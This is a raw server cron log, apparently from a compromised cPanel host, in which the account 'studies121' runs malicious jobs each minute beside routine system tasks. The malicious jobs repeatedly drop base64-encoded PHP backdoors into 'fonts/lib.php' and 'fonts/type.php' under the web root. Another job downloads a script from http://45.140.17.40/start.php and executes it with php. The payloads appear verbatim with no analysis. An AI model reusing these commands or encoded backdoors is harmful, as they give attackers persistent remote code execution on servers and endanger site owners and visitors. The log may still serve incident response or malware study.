Sep 10 20:54:01 ip-184-168-122-23 CROND[8549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:54:01 ip-184-168-122-23 CROND[8548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:54:01 ip-184-168-122-23 CROND[8550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:54:01 ip-184-168-122-23 CROND[8551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:55:01 ip-184-168-122-23 CROND[8646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:55:01 ip-184-168-122-23 CROND[8648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:55:01 ip-184-168-122-23 CROND[8654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:55:01 ip-184-168-122-23 CROND[8653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:55:01 ip-184-168-122-23 CROND[8652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:55:01 ip-184-168-122-23 CROND[8651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:56:01 ip-184-168-122-23 CROND[8748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:56:01 ip-184-168-122-23 CROND[8749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:56:01 ip-184-168-122-23 CROND[8751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:56:01 ip-184-168-122-23 CROND[8753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:56:01 ip-184-168-122-23 CROND[8754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:57:01 ip-184-168-122-23 CROND[8861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:57:01 ip-184-168-122-23 CROND[8862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:57:01 ip-184-168-122-23 CROND[8863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:57:01 ip-184-168-122-23 CROND[8864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:58:01 ip-184-168-122-23 CROND[9037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:58:01 ip-184-168-122-23 CROND[9038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:58:01 ip-184-168-122-23 CROND[9042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:58:01 ip-184-168-122-23 CROND[9040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:58:01 ip-184-168-122-23 CROND[9041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:59:01 ip-184-168-122-23 CROND[9131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:59:01 ip-184-168-122-23 CROND[9130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:59:01 ip-184-168-122-23 CROND[9133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:59:01 ip-184-168-122-23 CROND[9132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:00:01 ip-184-168-122-23 CROND[9217]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:00:01 ip-184-168-122-23 CROND[9218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:00:01 ip-184-168-122-23 CROND[9222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:00:01 ip-184-168-122-23 CROND[9226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:00:01 ip-184-168-122-23 CROND[9228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:00:01 ip-184-168-122-23 CROND[9229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:00:01 ip-184-168-122-23 CROND[9227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:00:01 ip-184-168-122-23 CROND[9230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:01:01 ip-184-168-122-23 CROND[9340]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 21:01:01 ip-184-168-122-23 CROND[9341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:01:01 ip-184-168-122-23 CROND[9343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:01:01 ip-184-168-122-23 CROND[9344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:01:01 ip-184-168-122-23 CROND[9342]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:01:01 ip-184-168-122-23 CROND[9345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9340]: starting 0anacron
Sep 10 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9360]: finished 0anacron
Sep 10 21:02:01 ip-184-168-122-23 CROND[9465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:02:01 ip-184-168-122-23 CROND[9468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:02:01 ip-184-168-122-23 CROND[9466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:02:01 ip-184-168-122-23 CROND[9467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:02:01 ip-184-168-122-23 CROND[9469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:03:01 ip-184-168-122-23 CROND[9632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:03:01 ip-184-168-122-23 CROND[9634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:03:01 ip-184-168-122-23 CROND[9635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:03:01 ip-184-168-122-23 CROND[9636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:04:01 ip-184-168-122-23 CROND[9723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:04:01 ip-184-168-122-23 CROND[9722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:04:01 ip-184-168-122-23 CROND[9726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:04:01 ip-184-168-122-23 CROND[9728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:04:01 ip-184-168-122-23 CROND[9729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:05:01 ip-184-168-122-23 CROND[9823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:05:01 ip-184-168-122-23 CROND[9824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:05:01 ip-184-168-122-23 CROND[9827]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:05:01 ip-184-168-122-23 CROND[9826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:05:01 ip-184-168-122-23 CROND[9830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:05:01 ip-184-168-122-23 CROND[9831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:05:01 ip-184-168-122-23 CROND[9832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:06:01 ip-184-168-122-23 CROND[9963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:06:01 ip-184-168-122-23 CROND[9967]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:06:01 ip-184-168-122-23 CROND[9968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
